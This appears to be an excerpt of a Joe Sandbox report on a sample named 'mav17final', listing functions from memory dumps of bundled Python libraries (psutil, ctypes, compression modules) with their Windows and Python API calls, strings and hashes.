Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandleProcess$AffinityErrorLastMaskOpen
String ID: OpenProcess$automatically set for PID 0
API String ID: 1247319315-2746090705
Opcode ID: 84f84ba0d819ed7d28646b2aec9722d2b2c98135e418c2544e8b5fc9a2d70430
Instruction ID: daff56ebe09004aeac0dc40ecd47d4e021ac928488347e2de5472d41cdfcb7a4
Opcode Fuzzy Hash: 84f84ba0d819ed7d28646b2aec9722d2b2c98135e418c2544e8b5fc9a2d70430
Instruction Fuzzy Hash: 55213061B0C6C782FF509F29F8441B96BA0BF687E4F444035DB0D426A5EE3CE4468700

Function 00007FF8B9073F20 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B9073F63
GetLastError.KERNEL32 ref: 00007FF8B9073F71
GetProcessHandleCount.KERNEL32 ref: 00007FF8B9073FB5
CloseHandle.KERNEL32 ref: 00007FF8B9073FCA
CloseHandle.KERNEL32 ref: 00007FF8B9073FE0

Strings

automatically set for PID 0, xrefs: 00007FF8B9073F4B
OpenProcess, xrefs: 00007FF8B9073F7C

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Handle$CloseProcess$CountErrorLastOpen
String ID: OpenProcess$automatically set for PID 0
API String ID: 109548231-2746090705
Opcode ID: b0a74a816b2bb0a02e08803a7b868286cc248dab37cbd7a49b6cc2d8dbfba7cb
Instruction ID: a33078c0f798c9d0a1067c3a6ce8023fc7486bf994ef4533aeaacbb1c95fe51a
Opcode Fuzzy Hash: b0a74a816b2bb0a02e08803a7b868286cc248dab37cbd7a49b6cc2d8dbfba7cb
Instruction Fuzzy Hash: E7215321B1C68782FF549F2DF8842796BA0BFA87E1F444435DB1E46695EE2CE8478700

Function 00007FF8B9073960 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B90739A8
GetLastError.KERNEL32 ref: 00007FF8B90739B6
SetProcessAffinityMask.KERNEL32 ref: 00007FF8B90739FA
CloseHandle.KERNEL32 ref: 00007FF8B9073A0F
CloseHandle.KERNEL32 ref: 00007FF8B9073A25

Strings

automatically set for PID 0, xrefs: 00007FF8B9073990
OpenProcess, xrefs: 00007FF8B90739C1

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandleProcess$AffinityErrorLastMaskOpen
String ID: OpenProcess$automatically set for PID 0
API String ID: 1247319315-2746090705
Opcode ID: f36405a96407f5c48ff1cffe12eb7f8d1e535dd237c7df921e92d8a611183e99
Instruction ID: 46fa7b2bed2cc9bb6c48239a2f8b8b854c1e3d1eaddae641222f3864abc8423a
Opcode Fuzzy Hash: f36405a96407f5c48ff1cffe12eb7f8d1e535dd237c7df921e92d8a611183e99
Instruction Fuzzy Hash: B7212F21B1868782FE549F2EF8942796BA1BFA8BE0F445035DB1E43795EE2CE4568700

Function 00007FF8B9073480 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B90734C8
GetLastError.KERNEL32 ref: 00007FF8B90734D6
SetPriorityClass.KERNEL32 ref: 00007FF8B9073519
CloseHandle.KERNEL32 ref: 00007FF8B907352E
CloseHandle.KERNEL32 ref: 00007FF8B9073544

Strings

automatically set for PID 0, xrefs: 00007FF8B90734B0
OpenProcess, xrefs: 00007FF8B90734E1

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$ClassErrorLastOpenPriorityProcess
String ID: OpenProcess$automatically set for PID 0
API String ID: 3190793011-2746090705
Opcode ID: 0d9471339f1e42a836f56fddc6e67cca189d308aee44e2c9fee917e893e7b78b
Instruction ID: d12eb60a518b9bece97dd77f89e2f37fb4f5dedaff425ecc3e073c91ba3d2ebb
Opcode Fuzzy Hash: 0d9471339f1e42a836f56fddc6e67cca189d308aee44e2c9fee917e893e7b78b
Instruction Fuzzy Hash: F5215321B0868782FF549F2EF8841796BA0BFA8BE0F485035DB1E47694DE2CE4878700

Function 00007FF8B90733A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B90733E3
GetLastError.KERNEL32 ref: 00007FF8B90733F1
GetPriorityClass.KERNEL32 ref: 00007FF8B9073430
CloseHandle.KERNEL32 ref: 00007FF8B9073447
CloseHandle.KERNEL32 ref: 00007FF8B907345D

Strings

automatically set for PID 0, xrefs: 00007FF8B90733CB
OpenProcess, xrefs: 00007FF8B90733FC

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$ClassErrorLastOpenPriorityProcess
String ID: OpenProcess$automatically set for PID 0
API String ID: 3190793011-2746090705
Opcode ID: 5ed11432822b2ab59c5525e06913b4ea131950c1beaa857bc16ccadd49b4e221
Instruction ID: a7a89bc6611d2b181eafbfc9a1309b0be9f6665c7c66bdde3ddbfca973315d23
Opcode Fuzzy Hash: 5ed11432822b2ab59c5525e06913b4ea131950c1beaa857bc16ccadd49b4e221
Instruction Fuzzy Hash: DE214221F1868782FF559F3EF8541795AA1BFA87E0F485035DB1E82695EE2CE8478700

Function 00007FF8B9F6B5AC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6B5DE
PyErr_Format.PYTHON311 ref: 00007FF8B9F6B622
PyUnicode_AsWideChar.PYTHON311 ref: 00007FF8B9F6B639
PyUnicode_AsWideChar.PYTHON311 ref: 00007FF8B9F6B669

Strings

unicode string expected instead of %s instance, xrefs: 00007FF8B9F6B614
can't delete attribute, xrefs: 00007FF8B9F6B5D4
string too long, xrefs: 00007FF8B9F6B653

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: CharErr_Unicode_Wide$FormatString
String ID: can't delete attribute$string too long$unicode string expected instead of %s instance
API String ID: 530648689-1577475929
Opcode ID: 54871f426e13d62f20164b13e72e16cb3eb4130456bf9d3dcc44f832ca140448
Instruction ID: bb5d0fd9a5c2d09a8eb7fddce825e67a35475bcbd983c74b127afe78d197e4ea
Opcode Fuzzy Hash: 54871f426e13d62f20164b13e72e16cb3eb4130456bf9d3dcc44f832ca140448
Instruction Fuzzy Hash: B0213A61B0CB8282EA40CF69E5801B96761BF85FE2F585536DB0D47768CF2CE445C700

Function 00007FF8B9F6EBE4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

PyLong_AsUnsignedLongLongMask.PYTHON311 ref: 00007FF8B9F6EC1D

Strings

_ctypes/cfield.c pymem, xrefs: 00007FF8B9F6EC77
unicode string or integer address expected instead of %s instance, xrefs: 00007FF8B9F6EC3F

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Long$Long_MaskUnsigned
String ID: _ctypes/cfield.c pymem$unicode string or integer address expected instead of %s instance
API String ID: 1805849926-901310697
Opcode ID: 2ce16603c6b5fb28991612c657e35fb793e2d5932663eadf79fd1512b973919a
Instruction ID: 4e1087973d4edae19115757ad5be9f6d11511a5cf81da1063b2d959eaf9a7f1f
Opcode Fuzzy Hash: 2ce16603c6b5fb28991612c657e35fb793e2d5932663eadf79fd1512b973919a
Instruction Fuzzy Hash: DB11EF62A09FC291EA448F1DE8542782B71BF59BE6F546436DB4E47354EF3CE465C300

Function 00007FF8B90C37BC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 48threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON311 ref: 00007FF8B90C37E9
PyThread_release_lock.PYTHON311 ref: 00007FF8B90C3819
PyErr_SetString.PYTHON311 ref: 00007FF8B90C384E

Part of subcall function 00007FF8B90C3360: memmove.VCRUNTIME140 ref: 00007FF8B90C33DE

PyEval_SaveThread.PYTHON311 ref: 00007FF8B90CB73A
PyThread_acquire_lock.PYTHON311 ref: 00007FF8B90CB74F
PyEval_RestoreThread.PYTHON311 ref: 00007FF8B90CB758

Strings

End of stream already reached, xrefs: 00007FF8B90C3844

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Eval_ThreadThread_acquire_lock$Err_RestoreSaveStringThread_release_lockmemmove
String ID: End of stream already reached
API String ID: 4192957916-3466344095
Opcode ID: 9d24e192cd5e41aae34a11841e36e0bc5166bdf8702469d9357772ef0d70671f
Instruction ID: adc327de9edfa78a92e601dc295ba21b4cf0366cb5c954a7e433ba870a84c9f7
Opcode Fuzzy Hash: 9d24e192cd5e41aae34a11841e36e0bc5166bdf8702469d9357772ef0d70671f
Instruction Fuzzy Hash: 4E11F866A18A8296EE14DF6AE954269A774FB88FC4F084031DF5E43765CF3CE45AC310

Function 00007FF8B90C26EC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON311 ref: 00007FF8B90C270F
PyThread_release_lock.PYTHON311 ref: 00007FF8B90C273B
PyEval_SaveThread.PYTHON311 ref: 00007FF8B90C275A
PyThread_acquire_lock.PYTHON311 ref: 00007FF8B90C276C
PyEval_RestoreThread.PYTHON311 ref: 00007FF8B90C2775

Strings

Compressor has been flushed, xrefs: 00007FF8B90CB32F

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Eval_ThreadThread_acquire_lock$RestoreSaveThread_release_lock
String ID: Compressor has been flushed
API String ID: 1906554297-3904734015
Opcode ID: 4f10c9a98a270c81542dec47670a47e5c1056ddde1cac534f6d7ef28f75aec1e
Instruction ID: 7d1b6395c6fd282176b252082ac702063d7391978b89c733a0c227a9f19fc1ae
Opcode Fuzzy Hash: 4f10c9a98a270c81542dec47670a47e5c1056ddde1cac534f6d7ef28f75aec1e
Instruction Fuzzy Hash: CA11C271A08A8292EE10DF6AE9841696375FB99FC5B049432DF4E47B54CF3CE49AC350

Function 00007FF8B9098E10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON311(?,?,?,00007FF8B9098336), ref: 00007FF8B9098E36
PyThread_release_lock.PYTHON311(?,?,?,00007FF8B9098336), ref: 00007FF8B9098E68
PyErr_SetString.PYTHON311(?,?,?,00007FF8B9098336), ref: 00007FF8B9098E98

Part of subcall function 00007FF8B9098364: PyType_GetModuleState.PYTHON311(?,?,?,?,?,?,?,00007FF8B9098E5E,?,?,?,00007FF8B9098336), ref: 00007FF8B909839F
Part of subcall function 00007FF8B9098364: PyBytes_FromStringAndSize.PYTHON311(?,?,?,?,?,?,?,00007FF8B9098E5E,?,?,?,00007FF8B9098336), ref: 00007FF8B90983B3
Part of subcall function 00007FF8B9098364: PyList_New.PYTHON311(?,?,?,?,?,?,?,00007FF8B9098E5E,?,?,?,00007FF8B9098336), ref: 00007FF8B90983C9
Part of subcall function 00007FF8B9098364: PyEval_SaveThread.PYTHON311(?,?,?,?,?,?,?,00007FF8B9098E5E,?,?,?,00007FF8B9098336), ref: 00007FF8B9098417
Part of subcall function 00007FF8B9098364: PyEval_RestoreThread.PYTHON311(?,?,?,?,?,?,?,00007FF8B9098E5E,?,?,?,00007FF8B9098336), ref: 00007FF8B9098431

PyEval_SaveThread.PYTHON311(?,?,?,00007FF8B9098336), ref: 00007FF8B90A4B50
PyThread_acquire_lock.PYTHON311(?,?,?,00007FF8B9098336), ref: 00007FF8B90A4B65
PyEval_RestoreThread.PYTHON311(?,?,?,00007FF8B9098336), ref: 00007FF8B90A4B6E

Strings

Compressor has been flushed, xrefs: 00007FF8B9098E8E

Memory Dump Source

Source File: 00000002.00000002.2072699078.00007FF8B9091000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8B9090000, based on PE: true

Associated: 00000002.00000002.2072666393.00007FF8B9090000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072745005.00007FF8B90A8000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072745005.00007FF8B90AC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072810626.00007FF8B90B4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2072844987.00007FF8B90B5000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9090000_mav17final.jbxd

Similarity

API ID: Eval_Thread$RestoreSaveStringThread_acquire_lock$Bytes_Err_FromList_ModuleSizeStateThread_release_lockType_
String ID: Compressor has been flushed
API String ID: 3871537485-3904734015
Opcode ID: b7deaa72277dee5a18a2e9f9e61238a57d26c55f915241b82e5b3f83901528c3
Instruction ID: c4dcfa9bda82f5b0681acc4ed4e2c8b6398b9b58bd05841a21788d6b0bbd017a
Opcode Fuzzy Hash: b7deaa72277dee5a18a2e9f9e61238a57d26c55f915241b82e5b3f83901528c3
Instruction Fuzzy Hash: 7711E631A0CAC282EE54CF2AE8542696369FB88FD0F049031DF4E47B64DF3CE4668781

Function 00007FF8B90C2134 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON311 ref: 00007FF8B90C214E
PyThread_release_lock.PYTHON311 ref: 00007FF8B90C2186
PyEval_SaveThread.PYTHON311 ref: 00007FF8B90CB196
PyThread_acquire_lock.PYTHON311 ref: 00007FF8B90CB1A8
PyEval_RestoreThread.PYTHON311 ref: 00007FF8B90CB1B1
PyErr_SetString.PYTHON311 ref: 00007FF8B90CB1CE

Part of subcall function 00007FF8B90C2CF8: PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B90C2D37
Part of subcall function 00007FF8B90C2CF8: PyList_New.PYTHON311 ref: 00007FF8B90C2D4E
Part of subcall function 00007FF8B90C2CF8: PyEval_SaveThread.PYTHON311 ref: 00007FF8B90C2DBB
Part of subcall function 00007FF8B90C2CF8: PyEval_RestoreThread.PYTHON311 ref: 00007FF8B90C2DD5

Strings

Repeated call to flush(), xrefs: 00007FF8B90CB1C4

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Eval_Thread$RestoreSaveStringThread_acquire_lock$Bytes_Err_FromList_SizeThread_release_lock
String ID: Repeated call to flush()
API String ID: 3236580226-194442007
Opcode ID: a7363f18bb3a4be2b1f04e20a3cf77806fbf112a27042f4a7a0e0242247e6c36
Instruction ID: cd87e8e4ed6f07260ef04e642ee0a1153c0d6c3adf0844a083fce0007cc86775
Opcode Fuzzy Hash: a7363f18bb3a4be2b1f04e20a3cf77806fbf112a27042f4a7a0e0242247e6c36
Instruction Fuzzy Hash: A511E231A08A9292EE149F2AE9542796379FB99BC1F048031DF1E47B55CF2CE49AC750

Function 00007FF8B9F6F574 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON311 ref: 00007FF8B9F6F5AA
PyUnicode_AsWideChar.PYTHON311 ref: 00007FF8B9F6F5C5
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6F5DA
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6F5F1
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6F60A

Strings

unicode string expected instead of %s instance, xrefs: 00007FF8B9F6F59C
one character unicode string expected, xrefs: 00007FF8B9F6F5E7

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: DeallocErr_$CharFormatStringUnicode_Wide
String ID: one character unicode string expected$unicode string expected instead of %s instance
API String ID: 3624372013-2255738861
Opcode ID: a442bb40f20c3a4dd4081ba5bcb0ae0298b6afa5f68cd383e2f326c911a818c9
Instruction ID: 1dd96d3e3fd3e99ab087cae9edb4c8873ea97c0089d15b171be716a7983555d4
Opcode Fuzzy Hash: a442bb40f20c3a4dd4081ba5bcb0ae0298b6afa5f68cd383e2f326c911a818c9
Instruction Fuzzy Hash: FB11FB76A08F8291EB848F29E8541792760EF4AFF6F686032DB0E47764DE2CD894C300

Function 00007FF8B9F6DC30 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FF8B9F6DC4F
GetLastError.KERNEL32 ref: 00007FF8B9F6DC65
PyUnicode_FromWideChar.PYTHON311 ref: 00007FF8B9F6DC8E
LocalFree.KERNEL32 ref: 00007FF8B9F6DC9A

Strings

|i:FormatError, xrefs: 00007FF8B9F6DC44
<no description>, xrefs: 00007FF8B9F6DCA2

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Arg_CharErrorFreeFromLastLocalParseTupleUnicode_Wide
String ID: <no description>$|i:FormatError
API String ID: 935104296-1632374824
Opcode ID: da62cbb651d4d48137c88a006a0480f238e20f846b976fc73609049c0e997912
Instruction ID: b3df5705d14a5a318889adeae8b57863e1e6fa661dcb7574ed495cb676c22f3b
Opcode Fuzzy Hash: da62cbb651d4d48137c88a006a0480f238e20f846b976fc73609049c0e997912
Instruction Fuzzy Hash: 1F016161A08BC692EA548F29FC0407966B1AF45BF2F145234DB2E833D4EE7CE444D710

Function 00007FF8B9F6DCC0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 38threadCOMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FF8B9F6DCE5
PyEval_SaveThread.PYTHON311 ref: 00007FF8B9F6DCF3
FreeLibrary.KERNEL32 ref: 00007FF8B9F6DD01
PyEval_RestoreThread.PYTHON311 ref: 00007FF8B9F6DD1C
PyErr_SetFromWindowsErr.PYTHON311 ref: 00007FF8B9F6DD28

Strings

O&:FreeLibrary, xrefs: 00007FF8B9F6DCD7

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Eval_Thread$Arg_Err_FreeFromLibraryParseRestoreSaveTupleWindows
String ID: O&:FreeLibrary
API String ID: 204461231-2600264430
Opcode ID: 078f241c74f91baaec2f50080a5493ab98081374dae74a9cab3a0cffd8d54dea
Instruction ID: 272e0ae04eae9bbd424e48490dc1935e3a09f6abe06ef7582776209ce5f895ba
Opcode Fuzzy Hash: 078f241c74f91baaec2f50080a5493ab98081374dae74a9cab3a0cffd8d54dea
Instruction Fuzzy Hash: 23011721A08F8782EA909F69FC505392760FF86BE6F186435DB4E83754DE2CE445D310

Function 00007FF8B9F6A9E4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6AA18
PyObject_GetAttrString.PYTHON311 ref: 00007FF8B9F6AA2C
PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B9F6AA46
_Py_BuildValue_SizeT.PYTHON311 ref: 00007FF8B9F6AA65

Strings

O(O(NN)), xrefs: 00007FF8B9F6AA53
ctypes objects containing pointers cannot be pickled, xrefs: 00007FF8B9F6AA0E
__dict__, xrefs: 00007FF8B9F6AA22

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: String$Size$AttrBuildBytes_Err_FromObject_Value_
String ID: O(O(NN))$__dict__$ctypes objects containing pointers cannot be pickled
API String ID: 1770468409-724424928
Opcode ID: 3ee03d1d2b345c529b1bd3c85f0488fda98b0b8f69e1e8ea5ec09f1cc578dd04
Instruction ID: 87207780ce112e21163c1db16850786aa8c4943f1c0219b28602123f5a8c997b
Opcode Fuzzy Hash: 3ee03d1d2b345c529b1bd3c85f0488fda98b0b8f69e1e8ea5ec09f1cc578dd04
Instruction Fuzzy Hash: 6C011725A08F8292EA508F1AE94007967A0FF89BF6F485136DF4D17B64DF3CE555C700

Function 00007FF8B9078240 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 30COMMON

Download Yara Rule

APIs

fprintf.MSPDB140-MSVCRT ref: 00007FF8B907826F
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9078289
fprintf.MSPDB140-MSVCRT ref: 00007FF8B90782A3
GetLastError.KERNEL32 ref: 00007FF8B90782A8

Strings

psutil/arch/windows/security.c, xrefs: 00007FF8B907825E
psutil module couldn't set SE DEBUG mode for this process; please file an issue against psutil bug tracker, xrefs: 00007FF8B9078282, 00007FF8B90782BA
psutil-debug [%s:%d]> , xrefs: 00007FF8B9078268

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: fprintf$ErrorLast
String ID: psutil module couldn't set SE DEBUG mode for this process; please file an issue against psutil bug tracker$psutil-debug [%s:%d]> $psutil/arch/windows/security.c
API String ID: 3541953607-2434820663
